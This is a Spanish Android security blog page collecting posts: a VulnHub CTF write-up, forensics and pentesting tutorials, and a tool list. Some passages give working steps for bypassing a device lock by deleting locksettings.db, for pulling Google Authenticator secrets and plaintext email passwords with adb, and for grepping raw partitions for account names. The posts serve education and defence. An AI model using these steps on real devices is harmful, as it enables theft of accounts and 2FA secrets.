Writeup - VulnHub - unknowndevice64: 2

Hoy os traigo el solucionario del reto "unknowndevice64: 2" del cual me ha parecido muy interesante, ya que trata de vulnerar un dispositivo Android.

Aunque el reto no era muy complicado, no he visto publicado ningún Writeup, por lo que me he puesto en contacto con el autor de la máquina y me ha dado su "bendición" (Gracias de nuevo Ajay Verma).

Manos a la obra

Escaneamos la red con Netdiscover, remarco con un rectángulo en rojo la máquina que vamos a atacar.

Hacemos un "nmap" y vemos los servicios que tiene disponible:

Encontramos dos servicios, uno es el Freeciv y otro es el Netbus (o al menos, usa el mismo puerto...). Me puede la curiosidad y lo ejecuto en el navegador y nos lleva hasta una web donde nos pide credenciales.

Si nos fijamos en la información que nos soltó nmap, nos da información de sus cabeceras, de que el login utiliza unas credenciales en MD5. Intento reversar el MD5 de la cabecera sin éxito.

Tomo el camino al otro servicio con puerto 5555. A través de este, intentaremos hacer una conexión al dispositivo Android con ayuda de "adb".

Bien, ya tenemos algo, hemos conseguido una shell y estamos conectado al interior del dispositivo. Si accedemos a la carpeta "System" podemos ver el archivo "flag.txt".

Ahora es el momento que hacemos "cat" y nos bailamos una Polka :D, pero no señor, no nos lo van a poner tan fácil.

OMG! Hay que encontrar alguna manera de escalar privilegios y leer el archivo.... Y por increíble que parezca, fue de lo mas sencillo :D

Y así acaba el reto..... Como se me hizo corto, dije ¿Y si logro quitarle el patrón/pin de acceso al dispositivo?

Accedemos a la ruta "/data/system" y allí normalmente se almacena un archivo llamado "locksettings.db" donde guarda la configuración de acceso.

Solo tenemos que eliminar el archivo "locksettings.db" y reiniciar el dispositivo.

Y si todo ha ido bien, el dispositivo iniciará sin pedirnos patrón o PIN.

Ahora si, esto si que es un "2x1" y no lo del Telepizza xD

Read More

Evil-Droid : Cuidado con tu Android

ADVERTENCIA:  este post sólo se hace con fines educativos y de información, en ningún momento C43S4RS (este blog) se hace responsable del uso indebido que cualquier usuario pueda hacer de él.

Hola a tod@s, esta es mi primera entrada en este blog llamado C43S4RS y no será la última, en esta entrada vamos a ver uno de los peligros a los que nos podemos enfrentar si no tenemos las precauciones adecuadas con nuestros dispositivos Android.

Para empezar yo soy de los que piensan que para pillar a los malos hay que pensar como ellos, por lo que he decido en esta entrada actuar como un malo, es por ello que voy a mostraros como prácticamente sin conocimientos a nivel hacking, es posible que cualquier ciberdelincuente o aburrido en su defecto se haga con el control de nuestro Smartphone.

Read More

Debugging a una App de Android con IDA PRO - Parte 3

Buenas de nuevo, pues aquí tenemos la última entrega sobre Android y como usar IDA Pro para depurar Apps en tiempo de ejecución. Para ello lo primero que debemos de conocer es la arquitectura sobre la cual vamos a trabajar, en nuestro caso ARM.

Registros en ARM

La arquitectura ARM utiliza 16 registros, entre los que podemos encontrar argumentos a funciones, el contador del programa, puntero a la pila, etc. A continuación enumeramos cada uno de ellos junto con su descripción:

• R0 a R3: argumentos de la función, también podemos encontrarlos como a0-a3.
• R4 a R9: para las variables locales.
• R7: número de llamada al sistema.
• R10 (sl): límite de la pila.
• R11 (fp): Fame Pointer
• R12 (IP): Intra Procedure.
• R13 (sp): Stack Pointer como RSP en x86_64.
• R14 (lr): Link Register.
• R15 (PC): Contador de Programa (como RIP en x86_64 y EIP en x86).

Read More

Debugging a una App de Android con IDA PRO - Parte 2

En el anterior post preparamos nuestro terminal Android rooteado para poner un puerto a la escucha y que el dispositivo Android se pudiera conectar con IDA Pro. El siguiente paso va a ser preparar el binario de Android para poder llevar a cabo el debugging con IDA Pro.

Preparando el binario

Para preparar el programa que vamos a depurar debemos conocer la estructura de una APK, que no es sino un paquete ZIP con ciertas peculiaridades, por tanto añadimos la extensión .zip al paquete y descomprimimos en una carpeta.

Read More

Debugging a una App de Android con IDA PRO - Parte 1

Hace tiempo que tengo guardado este artículo para publicarlo en un momento especial, hoy lo hago como punto de partida de un grupo de amigos que les gusta jugar a los CTFs en sus ratos libres. El artículo trata de como depurar una aplicación Android en tiempo de ejecución, una prueba de concepto que espero os quite el miedo a iniciaros en el exploiting y el reversing.

¿Qué es IDA Pro?

Ida es una herramienta completa de reversing que sirve tanto para 32bits como 64bits. Y además no sólo hace funciones de debugger sino que permite desensamblar código fuente de manera estática. Tenemos también posibilidad de trabajar nativamente con Windows, Linux o Mac OS X. Otra de las funciones que nos permite es trabajar remotamente con varios sistemas operativos, nosotros concretamente vamos a usar el sistema ARM Android.

Read More

Hackeando el 2FA en Android

Muchos de nosotros hacemos uso del doble factor de autenticación (2FA: two step verification) y recomendamos su uso, ya que es una capa de seguridad más añadida a nuestras contraseñas en cuentas de correo, blogs y otros servicios en Internet. Si es complicado hacerse con nuestras credenciales, más aún poder obtener el código de verificación 2FA. Pero ¿qué pasaría si pudiésemos obtener ambas cosas al mismo tiempo?

En el siguiendo artículo vamos a ver como podemos obtener las credenciales de cuentas de correo electrónico así como los códigos de verificación almacenadas en un terminal Android. Antes de comenzar es muy importante recordar uno de los principios de la Seguridad en Android (vistos en el artículo Metodología de Seguridad en Android) donde para cada aplicación instalada en Android se crea un usuario, de tal forma que una aplicación no puede acceder a la carpeta de otra aplicación. Además dentro de la memoria del terminal tenemos una parte de memoria interna (sólo accede el sistema) y otra de memoria externa o de usuario (sin contar con el almacenamiento SD).

Todo esto está muy bien, pero esta seguridad se rompe en el momento en que rooteamos el teléfono o una aplicación maliciosa ejecuta un exploit el cual utiliza una vulnerabilidad del sistema para hacer una elevación de privilegios y hacerse root, de tal forma que una aplicación con permisos root tendrá permiso para campar a sus anchas y acceder a los ficheros que quiera en la memoria interna. 

Nosotros nos vamos a centrar en dos aplicaciones que podemos encontrar en muchos terminales Android, un gestor de correo y el gestor de 2FA. Las aplicaciones en concreto son:

• Correo (com.android.email)
• Google Authenticator (com.google.android.apss.authenticator2)

Una de las grandes vulnerabilidades de las aplicaciones Android que podemos encontrar dentro del TOP 10 Owasp Mobile Risks es el almacenamiento inseguro de datos, este tipo de vulnerabilidad es la segunda más encontrada como podemos ver en el esquema de OWASP.

Como hemos hablado anteriormente, dentro del sistema operativo Android existe una memoria interna en la cual se instalan las aplicaciones, concretamente la ruta es /data/data/ y ahí vamos a encontrar las aplicaciones de la cual queremos obtener información, tal cual como lo haría una aplicación maliciosa que consigue acceso root.

Insecure Data Storage en com.android.email

Esta aplicación de correo electrónico desarrollada por Google la podemos encontrar en muchas distribuciones de Android como parte del sistema operativo, tanto en ROMs de marcas comerciales como también en ROMs cocinadas.

Si nos traemos las todo el directorio /data/data/com.android.email/ podemos encontrarnos con que hay una base de datos SQLite muy interesante dentro del directorio databases: EmailProvider.db

Concretamente dentro de la tabla HostAuth podemos encontrar los correos configurados en el terminal junto con la contraseña en plano, algo increible pero cierto. Si abrimos este fichero con algún programa para visualizar SQLites encontramos lo siguiente:

Aquí no acaba la cosa, el sistema también almacena en texto plano las contraseñas de los correos en texto plano en el siguiente fichero /data/system/users/0/accounts.db 

Bueno ya tenemos los correos electrónicos y las contraseñas, si ahora intentamos acceder a alguno de estos correos nos solicita el 2FA. ¿Cómo hacemos para conseguir el código de verificación teniendo acceso al terminal como root?

Insecure Data Storage en com.google.android.apss.authenticator2

Vamos a ver ahora un caso parecido con la aplicación de Google Authenticator ¿Alguna vez os habéis planteado restaurar vuestro Android de fábrica con su correspondiente Wipe-Data pero no os habéis atrevido porque podéis perder el 2FA? 

Además de eso podemos preguntarnos (por aquello del pensamiento lateral de los hackers) qué ocurriría si copio el directorio completo /data/data/com.google.android.apps.authenticator2 y lo monto en otro terminal, ¿debería dejarme acceder a los códigos de verificación? ¿la instalación del Google Authenticator y los códigos que se generan debería ser única? es decir,si tendría algún tipo de protección por seguridad. Pues bien, la respuesta a estas preguntas es que no tiene protección, podemos hacer lo que queramos

Paso a paso, haremos lo siguiente:

 1. Copiamos la carpeta completa del terminal con la instrucción: 

adb pull /data/data/com.google.android.apps.authenticator2  

 2. Vemos que tenemos dentro tres carpetas: app_sslcache, databases y shared_prefs.

 3. Dentro de la carpeta databases nos centramos en el fichero databases.db y en la tabla accounts obtenemos lo que buscamos, las cuentas asociadas con su código secreto.

Con estos secret keys podemos generar los códigos de verificación asociados a cada una de las cuentas de correo cuyas contraseñas ya teníamos. Pero vamos a probar a montar toda la estructura de directorios en un emulador a ver si funciona el Google Authenticator, para ello primero instalamos la aplicación y acto seguido copiamos todo el directorio completo con las tres carpetas.

Instalamos con adb install <aplicación.,apk> y copiamos todo el directorio al emulador para ver si nos permite así cambiar los códigos de un terminal a otro simplemente con Copy/Paste. En la siguiente imagen vemos como lo permite perfectamente.

Conclusión

Hemos visto como por culpa de fallos a nivel de programación donde se lleva a cabo un almacenamiento inseguro de información sensible, se ven expuestas nuestras contraseñas y los códigos secretos de verificación. Cualquiera de nuestros terminales puede ser víctima de cierta aplicación maliciosa, de una vulnerabilidad de 0day o de una vulnerabilidad no parcheada por nuestro fabricante.

Recomendaciones

• Actualizar el sistema lo máximo posible, ya que los fabricantes no suelen sacar muy a menudo actualizaciones para forzarnos así a comprar nuevos terminales. Recomiendo en este caso el uso de ROMs cocinadas que parchean los fallos de seguridad a diario. 
• Hacer uso de herramientas de control de permisos para impedir a las aplicaciones tener más permisos de los necesarios, de tal forma que podemos así controlar quien accede a que recuersos. Podéis ver herramientas de control de recursos en mi artículo  Privacidad en Android del blog de Hacking Ético (http://hacking-etico.com/2014/08/12/privacidad-en-android/)
• Hacer uso de herramientas de seguridad como antivirus, antimalware y otras herramientas que te chequean los fallos de seguridad más reciente. Os recomiendo que uséis la herramienta Android Vulnerability Test Suite (https://github.com/nowsecure/android-vts) que os permite testear si tenéis las últimas vulnerabilidades parcheadas.
• Otras capas de seguridad recomendables serían deshabilitar el ADB (Android Debug Bridge), usar bloqueo de sesión bien con pin numérico de más de 5 dígitos o patrón y sobre todo cifra tu dispositivo por si cae en manos equivocadas. 

Formación en Seguridad Android

Si te interesa la seguridad en Android, los próximos cursos y talleres que impartiré serán los siguientes:

• Curso Forense en Android ( 29 Enero y 5 Febrero - Modalidad Online): curso totalmente práctico donde llevaremos a cabo el proceso forense de un terminal Android para obtener el máximo número de pruebas. Tocando directorios claves del sistema operativo como de las aplicaciones más utilizadas que nos brindan gran cantidad de información. Más información aquí.

• Taller Pentesting de Aplicaciones Android (12 Febrero Cuenca - MorterueloCon): taller de 4 horas sobre auditoría de aplicaciones móviles siguiendo la metodología OWASP. Más información aquí.

• Curso Pentesting en Android (27 Febrero Valencia): un curso presencial muy completo de 8 horas de duración, donde veremos los diferentes puntos del Pentesting en Android para poder auditar aplicaciones, analizar malware e incluso llevar a cabo un análisis forense de un terminal. Más información aquí.

Espero que os haya gustado el artículo y que tengáis presente que la seguridad 100% no existe, sólo podemos añadir cuantas más capas de seguridad mejor.

Un handshake

@eduSatoe

"Comienza haciendo lo que es necesario, después lo que es posible y de repente estarás haciendo lo imposible"

S.F.d.A.

Read More

De Security High School a Qurtuba Security Congress

El pasado día 19 de febrero se celebró en el instituto IES Fidiana la primera edición de las jornadas de seguridad informática para formación profesional Security High School con la colaboración de ANPHACKET, SVT Cloud Services y los amigos de Hack&Beers donde se contó con la presencia de más de 200 asistentes.

En dicha jornada estuvieron presentes ponentes como; 

Miguel Ángel Arroyo, fundador de Hacking-etico.com, Security Business Manager en SVT Cloud Services y presidente de ANPHACKET que nos ofreció una charla titulada "Hacking modo IKEA: móntate tu propio exploit" donde nos mostró un desbordamiento de buffer para poder tener el control de un software y finalmente añadir shellcode para conseguir una shell de Windows.

Francisco Barcos, inspector del grupo de delitos tecnológicos del Cuerpo Nacional de Policía de Córdoba y miembro de ANPHACKET nos mostró en su ponencia como trabajan dentro del departamento de delitos tecnológicos, cascos donde tuvieron que intervenir y un aparato muy curioso llamado Cellebrite que lo usan en su departamento. A su vez, nos habló de la aplicación Volatility donde nosotros os hablamos hace poco de ella aquí.

Manuel Camacho, colaborador de hacking-etico.com, Senior Security Consultant en SVT Cloud Services y miembro de ANPHACKET nos enseñó "Wifrikeando" sobre redes Wifi que nos mostró que por mucho que tengamos sistemas WPA/WPA2 con WPS activo podrían conseguir nuestra contraseña sin sudar mucho. También nos enseño una perfecta aplicación para Tablets o móviles Nexus llamada NetHunter  desde donde también podemos realizar ataques.

Además de estas ponencias, también contamos con otras realizadas por el alumnado de diferentes institutos de Córdoba como por fueron, "Ganando una partida al Counter Strike" realizada por los alumnos del IES Fidiana que nos enseñaban como conseguir que nuestros rivales perdiesen la conexión para así poder ganar la partida. "El phising, la pesca de los despistados" por los alumnos del IES Medina Azahara donde nos concienciaban que el phising es una de las técnicas más utilizadas para conseguir nuestros datos más preciados. "Esteganografía, ocultando información" hecha por los alumnos del IES Lope de Vega que nos mostraba como ocultar información en una fotografía donde a priori, parecía una imagen normal y corriente. Por último "Un troyano RAT para Android" donde un alumno nos enseñó lo fácil que era controlar un Android con un simple troyano.

Dichas jornadas sólo fueron el principio de lo que viene en unos días, el primer congreso de seguridad informática "Qurtuba Security Congress" que se va a celebrar en Córdoba los próximos días 10 y 11 de abril organizado por ANPHACKET en la Facultad de Derecho y Ciencias Económicas y Empresariales  de Córdoba. Más de 400 asistentes, ponentes de lujo, talleres, sorteo de cursos, streaming y numerosos patrocinadores y colaboradores, entre los que cabe destacar los amigos de HangoutON que mantendran informados a toda la comunidad por medio de streaming a todos aquellos que no puedan asistir.

No sólo contamos con Qurtuba los días 10 y 11 de abril, sino que también tenemos un Hack&Beers by Qurtuba el Jueves 9 a las 18 de la tarde en la discoteca Palazzio. Toda la información y entradas la podéis encontrar en la Web qurtuba.es

En Qurtuba podremos ver ponentes de la talla de Lorenzo Martínez o Pablo González entre muchos otros de gran prestigio, pero mejor vemos el video que han realizado los amigos de HangoutON para ver la cantidad de profesionales que participan en el evento.

Un saludo!

@Joseliyo_Jstnk 

Read More

Android Forensics: Descubriendo Cuentas de Usuario

Resulta que, como ya comenté en post anteriores, el principio de Locard sigue estando presente en la informática forense, el cual viene a decir que cuando dos objetos entran en contacto siempre se queda residuos (dicho bástamente ;) )

El caso es que si lo aplicamos a la informática forense y, partiendo de esa base, hay mucha probabilidad de encontrar evidencias cuando analicemos un dispositivo.

En este post vengo a mostraros CÓMO es posible identificar las cuentas de usuarios que han existido en un terminal (al menos en el mio) tras hacer una restauración de fábrica.

En ocasiones, y en los terminales Android, es muy común el hacer el típio "Resturar de fábrica" que básicamente lo que estamos haciendo es un Wipe al sistema, borrando todos los datos de usuario, cache de programas, aplicaciones, etc...

Dicho esto, recientemente lo hice en mi terminal, algo antiguo si, pero funcional, hablo de una Samsung Galaxy S GT i9000 el cual está rooteado y con una rom modificadad, CynanogenMod para ser más exacto.

Casi todos la información relativa al usuario y aplicaciones se almacenan en la partición de "Datos". Cuando hacemos un "Retore Default" o "Retaurar de fábrica" el proceso es bastante rápido, lo que me llevo a pensar que en algún lado tendría que hacer una "ligera" copia de los datos de usuario.

Al final, Android es un Unix y como bien sabéis el almacenamiento físico está unido al sistema a través de unos ficheros especiales (controladores) llamados nodos (device nodes). 

Estos nodos nos proporcionan acceso al dispositivo en bruto y a sus particiones, por lo tanto si un nodo de dispositivo es direccionado (cargado o montado por el sistema) nos lleva a pensar que todo el contenido del mismo es accesible por software (en este caso ADB), eso si como root, de ahí la importancia de tener el dispositivo "rooteado".

Podría estar hablando largo y tendido del tema de nodos, pero no es el caso, así que no me andaré más por las ramas.

El escenario es: Dispositivo Android recien restaurado de fábrica. Terminal rooteado y con acceso al mismo por adb.

El primer paso, al conectar el terminal al equipo es comprobar su conectividad, para ello:

$adb devices
List of devices attached
393320C3387D00EC    device

Observamos que el terminal está montado y es accesible por adb.
Lo siguiente que debemos hacer, y como he comentado antes, es acceder al mismo como usuario "root"

$adb root
$adb shell >> abrimos una sesión de terminal en el dispositivo

Ya tenemos nuestra consola abierta.
Vamos a ver qué particiones tenemos montado en el terminal, aqui he de decir que dependerá si nuestro dispositivo está basado en MTD (Memory Technology Device) o en EMMC (Embedded Multimedia Card), las particiones están montadas en /proc/mtd o /proc/emmc/ dependiendo de lo anterior:

root@GT-I9000:/dev/block # cat /proc/mtd                                    
dev:    size   erasesize  name
mtd0: 00780000 00040000 "boot"
mtd1: 00780000 00040000 "recovery"
mtd2: 1a600000 00040000 "datadata"
mtd3: 01180000 00040000 "cache"
mtd4: 00c80000 00040000 "efs"
mtd5: 01000000 00040000 "radio"
mtd6: 00b00000 00040000 "reservoir"

Mi Terminal está basado en MTD, así que me queda comprobar qué tipo de particiones corresponde a qué:

root@GT-I9000:/dev/block # cat /proc/partitions                             
major minor  #blocks  name

  31        0       7680 mtdblock0
  31        1       7680 mtdblock1
  31        2     432128 mtdblock2
  31        3      17920 mtdblock3
  31        4      12800 mtdblock4
  31        5      16384 mtdblock5
  31        6      11264 mtdblock6
 253        0      72804 zram0
 179        0    8028160 mmcblk0
 179        1    6062048 mmcblk0p1
 179        2    1966080 mmcblk0p2
 179        8   15622144 mmcblk1
 179        9   15618048 mmcblk1p1
 254        0     614400 dm-0
 254        1    1347584 dm-1

Llegados a este punto seguro que estáis diciendo, "UFFFFF no me entero de ná ;)", es fácil, lo que hemos hecho es preguntar qué particiones está montando el sistema al arrancar (/proc/mtd/) y luego le pregunto qué nodo es el que ha montado (/proc/partitions), mejor así no?? :D

Aqui es donde entra un poco la picaresca del analista, por decirlo de alguna forma, si somos observadores vemos que mtd1 > monta la partición de recovery y este a su vez monta el mtdblock1 pero... ¡¡¡ El terminal tiene una tarjeta SD !!!!!
Sin pegas, también está montada como mmcblk0p1

Menudo rollo no? La de vueltas que estoy dando, y ahora cuál analizo???

Todo va a depender un poco de cómo esté funcionando el almacenamiento y salvaguarda de los datos en el terminal, pero si que tenemos en claro que el recovery ha podido usar mtdblock1 como mmcblk0p1

Ya tenemos "lo gordo" localizado, ahora nos queda buscar información del usuario/s que han existido. Todos sabemos que cualquier terminal con SO Android ha de tener una cuenta de gmail

Así que vamos a buscarla ;)

$cd /dev/block

$strings mtdblock1 | egrep -o 'account="?.{1,25}@gmail.com"?'

 

Pues no me ha devuelto nada, vamos a probar con la MMC

 

root@GT-I9000:/dev/block # strings mmcblk0p1 | egrep -o 'account="?.{1,25}@gmail.com"?'>
account=*********@gmail.com
account=*********@gmail.com
account=*********@gmail.com
account=*********@gmail.com
account=*********@gmail.com
account=*********@gmail.com
account=*********@gmail.com

Voila!!!! 

YA SABEMOS QUÉ USUARIO HA USADO SU CUENTA DE GMAIL EN ESTE TERMINAL

Pero me surge una pregunta, y si cambio la búsqueda y en vez de account busco password?

Os lo dejo para vosotros :)

Read More

Pentesting con Android, Listado de Herramientas

Hoy vengo a hablaros de herramientas de [in]Seguridad y Pentesting para dispositivos Android.

Sabemos de sobra que existen muchas herramientas para este Sistema Operativo que cumplen con ese cometido, voy a tratar de haceros un pequeño resumen de las que yo he probado:

En el día de ayer la empresa zimperium hacía publica su aplicación zAnti - Mobile Penetration Testing Toolkit después de tres años de duro trabajo.

La versión de zAnti 2.0 ahora incluye en su versión comunity las siguiente mejoras (os dejo el contenido original):

Android Network Toolkit (zANTI 2.0) is an award-winning mobile penetration testing toolkit that enables IT Security managers and Pentesters to perform complex security audits and simulates advanced hackers’ capabilities in an organization’s network through a user-friendly mobile app.

Download zANTI 2.0 Now! (APK)

• zPacketEditor – Perform manual pen testing of apps or web applications while performing MITM.
• ICMP Redirect – Support full duplex MITM, using our own implementation of ICMP redirect.
• MITM features – Utilize intercept download, redirect URL, replace images and insert HTML.
• Password complexity audit – Benefit from unlocked optimized, big, huge, custom dictionaries and incremental (brute-force).

 BUGTROID

De los creadores de la distro de seguridad española BUGTRAQ  (poco hay que decir sobre ella que no conozcamos ya). 

La misma está disponible en google play en dos versiones, una free y una pro.

DSPLOIT

Es una de las herramientas más completas que podemos encontrar e instalar en nuestros terminales android si nos dedicamos al mundillo de la seguridad, la misma reúne distintas herramientas para el análisis y pentesting de redes en una sola suite unificada. Permite realizar pruebas de seguridad de la red en la que se encuentra conectada el dispositivo móvil, lo que puede ayudar a hacer tests de seguridad en clientes que haya que auditar ad-hoc. Según la web de los creadores de la herramienta, esta aplicación ofrece el kit de herramientas más completo y avanzado para llevar a cabo este tipo de tareas, apoyándose en las características siguientes.

Para  su instalación es necesario tener el terminal rooteado

En su página web indican que es una aplicación Android para el análisis de seguridad en las redes inalámbricas y la captura de Facebook, Twitter, LinkedIn y otras cuentas.

También dispone de otra aplicación en su web DroidSheep Guard la cual trata de detectar ARP-Spoofing en la red, tales como un ataque de DroidSheep, FaceNiff y otro software.

Personalmente no la he probado.

PenTest Tools List 

 Esta aplicación reune gran cantidad de enlaces a distintas aplicaciones que podemos instalar en nuestro terminal, entre sus características principales:

• Enlaces a Aplicaciones en la Play Store.
• Los enlaces a aplicaciones que no están en la Play Store
• Los enlaces a código fuente de aplicaciones
• Enlaces a sitios web de la aplicación.
• Los enlaces a Google el nombre de la aplicación o la aplicación del paquete.
• Alternativas enlaces a Google Play como por ejemplo Aptoide

Seguramente hay muchas más, y/o conocéis otras, pero estás son las que yo he probado y conozco.

Sed buenos con las mismas.

Things Up!!!

Read More

Pentesting en Android - Parte 1: Rajando al Androide con Santoku

A continuación vamos a describir el proceso de Pentesting de una aplicación en Android para lo cual vamos a hacer uso de una serie de herramientas contenidas dentro de una distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés). Los pasos a seguir en dicho proceso son los siguientes:

A. PROFILING

En esta primera fase tratamos de obtener toda la información posible de la aplicación tratandola como una caja negra (Black Box), es decir, sin tener conocimiento alguno de que es lo que hace la aplicación ni como está implementada. Debemos obtener información sobre:

1. El desarrollador de la aplicación: ¿quién es? ¿qué tipo de aplicaciones ha desarrollado? 
2. Dependencias del código: ¿qué recursos necesita? ¿podemos saberlo de primera hora en la ficha de la app? En el apartado de permisos podemos ver si necesita acceso para escribir en la tarjeta externa o si necesita acceder a la posición GPS, etc.
3. Otras aplicaciones del mismo desarrollador, para así analizar su código y encontrar posibles similitudes.
4. Permisos que solicita la aplicación.

Con esta información podemos sacar en claro el tipo de aplicación que estamos tratando y si es sospechosa de tener algún tipo de malware, greyware... ya que si solicita muchos permisos sospechosos para la funcionalidad de la aplicación o el desarrollador no tiene buena reputación, podemos inferir muchas cosas.

Para llevar a cabo esta fase nos valemos de la información que podemos encontrar en Play Store o en la Web (caso que la tenga) del desarrollador, así como en foros con buena reputación. En este punto no ha hecho falta aún que instalemos la aplicación.

Para llevar a cabo todo el proceso de pentesting hemos cogido una aplicación que lleva poco tiempo en Play Store pero que está teniendo numerosas descargas, ya que es de un local de moda de la zona.Vamos pues a buscar toda la información que podamos.

Desarrollador

En Play Store justo debajo del nombre de la app vemos el nombre del desarrollador y buscando por Internet vemos que es una empresa dedicada a la programación con aproximadamente un año de experiencia y afincada en la Costa del Sol.

Otras Apps

En la siguiente imagen podemos ver otras aplicaciones que ha desarrollado, las cuales son similares a las de la app objetivo, todas tratan sobre creación de eventos e informar a los usuarios que tienen la app instalada, lo cual hace pensar que haya mucho código  fuente común.

Permisos

En la ficha de la app vemos los permiso que supuestamente solicita, más adelante comprobaremos estos requisitos cuando analicemos la apk. Lo que resulta sorprendente que una app que se supone tan sólo sirve como reclamo publicitario, necesite saber nuestra posición por medio del GPS o conocer el número con el que hablo e incluso poder activar el micrófono.

Recordad que en esta fase tan sólo estamos obteniendo información de fuentes públicas, sin necesidad de instalarnos la aplicación, es semejante a la entrada que publicamos hace unos meses sobre obtener información de una dominio al que queremos hacer un pentesting (Analizando objetivos sin hacer ruido) pero en nuestro caso es una aplicación Android.

B. ANÁLISIS ESTÁTICO

En esta fase vamos a analizar el código fuente por medio de ingeniería inversa, para ello usaremos, entre otras herramientas, la herramienta apktool que ya vimos en una entrada anterior (Ingeniería Inversa de una APK maliciosa). Una vez hecho esto obtendremos posibles direcciones URI no modificables,  posibles errores en la lógica de la aplicación e incluso podríamos encontrar usuarios o claves dentro del código que los desarrolladores en la fase de testeo han olvidado eliminar.

Analizaremos los permisos que nos solicita la app, de manera que compararemos los permisos con los vistos en la etapa de Profiling. Para ello vamos a usar el paquete de herramientas Androguard, concretamente androlyze.py.

En esta fase utilizaremos la APK pero sin llegar a instalarla, para ello vamos a descargarnos la aplicación desde el PC sin necesidad de instalarla desde el Play Store. Utilizaremos por la siguiente dirección Web (http://directapks.com) e indicaremos el nombre del paquete de la aplicación que podemos ver en la URL de Play Store de la app. De esta forma se nos descarga la APK a analizar.

Una vez descargada la APK vamos a irnos a nuestra distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés) y empezaremos todo el proceso.

Búsqueda de URI

Descomprimimos la APK con apktool como ya vimos en la entrada de Ingeniería Inversa a una APK maliciosa y nos disponemos a buscar direcciones interesantes dentro de todos los ficheros de código de la carpeta descomprimida de la APK.

Para la búsqueda usamos el comando grep haciendo uso de expresiones regulares y eliminando aquellas referencias a direcciones conocidas de la librería de Android: 

grep -Eir "https://?" carpetaAPK | grep -v "schemas.android.com"

En la imagen anterior podemos ver algunas de las direcciones de acceso de la aplicación, como vemos son accesos a apis de google y otras apis de otra dirección. Con un poquito de imaginación podríamos hacer muchas cosas más como buscar acceso a URL http o buscar vulnerabilidades de los sitios a los que accede, etc.

Análisis de Permisos

El siguiente paso será analizar los permisos de la aplicación, para ello ejecutaremos el framework Androguard. El echo de utilizar este framework es porque es una herramienta aún más potente que las utilizadas anteriormente.

Pues bien, nos vamos a la carpeta de Androguard dentro de Santoku y vamos a utilizar la herramienta Androlyze, para ello ejecutamos: python androlyze.py -s y se nos abrirá la interfaz de comandos, donde pondremos lo siguiente:

  a,d,dx=AnalyzeAPK("/ruta/nombrePaquete.apk", decompiler="dad") 

Este comando destripa topa la APK y nos devuelve tres objetos para poder trabajar con ellos.

• a: objeto que representa a la aplicación (APK).
• d: objeto que representa al fichero classes.dex (DalvikVMFormat), que son las clases de la aplicación en formato de la máquina virtual Davilk.
• dx: objeto que tiene un análisis del fichero classes.dex (VMAnalysis).

Una vez destripada la APK tan sólo tenemos que utilizar los cientos de posibilidades de esta para obtener información. Vamos a ver algunos ejemplos:

   a. Obtener información general de la APK: a.show() donde podemos encontrar los siguientes apartado:

• FILES: ficheros de recursos de la aplicación
• PERMISSIONS: permisos de la aplicación junto con su descripción y la gravedad del mismo.
• MAIN ACTIVITY: actividad principal de la APK.
• ACTIVITIES: resto de actividades de la aplicación.
• SERVICES: servicios de la aplicación.
• RECEIVERS: recibidores de la aplicación que sirven para recibir intenciones del sistema o de otras aplicaciones, de manera que haya intercambio de información
• PROVIDERS: proveedores de la aplicación donde almacenar información.

La salida que nos da de los permisos es muy útil porque nos informa de los peligros de estos como vemos a continuación.

Vemos en rojo aquellos permisos que podrían comprometer nuestro teléfono junto con la descripción del mismo. En azúl la actividad principal, aunque también la podemos obtener mediante a.get_main_activity(). Y por último vemos en amarillo el nombre de un servicio que no sabemos para que puede usarse y sería objeto de análisis.

   b. Obtener sólo permisos de la APK: a.get_permissions()

c. Podemos subir un escalón más y ver las clases y métodos que utilizan cada uno de los permisos: show_Permissions(dx)

En la imagen vemos una parte de las clases y métodos que utilizan el permiso de localización GPS (ver color rojo). Cada una de las líneas resultantes muestran los siguientes datos según colores:

• Clase donde se utiliza el permiso, de color azúl - LocationHub
• Método dentro de la clase, de color verde - getLastKnowLocation
• Dentro del método anterior debe haber una instancia del objeto de la clase de color amarillo - LocationManager
• Y por último la llamada a un método del objeto anterior que realmente es quien utiliza el permiso, de color naranja - getLastKnownLocation

Ahora sólo toca analizar estos métodos y ver si hay algún posible error o cosa rara. Para ver el código JAVA seleccionamos CLASS y METHOD comentados anteriormente. Ahora buscamos objeto y método que utilizan el permiso dentro del código java correspondiente tal como vemos en la siguiente imagen. Hemos hecho uso de source() una vez elegida la clase y el método.

Nota importante: Para poder ver el código java hay que usar en la función AnalyzeAPK el decompiler "dad", sino nos dará error.

Si quisiéramos saber desde donde se llama a este método y a quien llama este método, tan sólo pondríamos lo mismo pero en vez de source, ponemos pretty_show() y al final aparecerán con T los métodos desde donde se llama y con F los métodos a los que llama.

Podríamos seguir analizando código fuente sin parar y aprovechar al máximo las posibilidades de Androguard, pero creo que ya os hacéis una idea de la potencia del framework. Aquí os dejo enlaces relacionados con Androguard donde podéis encontrar muchas más herramientas y posibilidades:

• Proyecto Androguard
• Comunidad Androguard 
• Blog de Androguard 

TO BE CONTINUED...

Pues bien, hasta aquí las dos primeras fases del pentesting de una aplicación en Android, espero que lo encontréis interesante tanto como yo y que os pongáis manos a la obra a probar vuestras APKs.

Un handshake de @eduSatoe !!

"Si todo parece estar yendo bien, obviamente has pasado algo por alto"

Anónimo

Read More

Puntos débiles de Android - Vectores de Ataque

El hecho de que hoy día seamos casi tantas personas en el mundo - 7,100 millones - como dispositivos móviles - 6,800 millones - hace que nos debamos preocupar por la seguridad de los mismos. Actualmente la previsión que existe de crecimiento en los terminales Android en 2014 es de un 23,1% más que en 2013, en detrimento de IOS con un 14,8% menos que 2013 (ver noticia). Es por ello que nos interesemos por cuáles son los puntos débiles que podemos encontrar en las aplicaciones androides.

LOS PERMISOS DE LAS APLICACIONES

A la hora de utilizar permisos en las aplicaciones Android, los desarrolladores incurren en dos situaciones:

1. Undergranting o proceso por el cual un desarrollador no asigna los permisos necesarios a una aplicación. Este hecho provocará que una aplicación no testeada de fallos en tiempo de ejecución, provocando una SecurityException, lo cual hace que caiga la reputación de una aplicación. 
2. Overgranting o proceso por el cual un desarrollador asigna más permisos de la cuenta a una aplicación. Este hecho es más grave aún que el anterior, ya que podría darse el caso de explotación de dicho permisos por una aplicación maliciosa, pudiendo incluso escalar privilegios en el sistema.

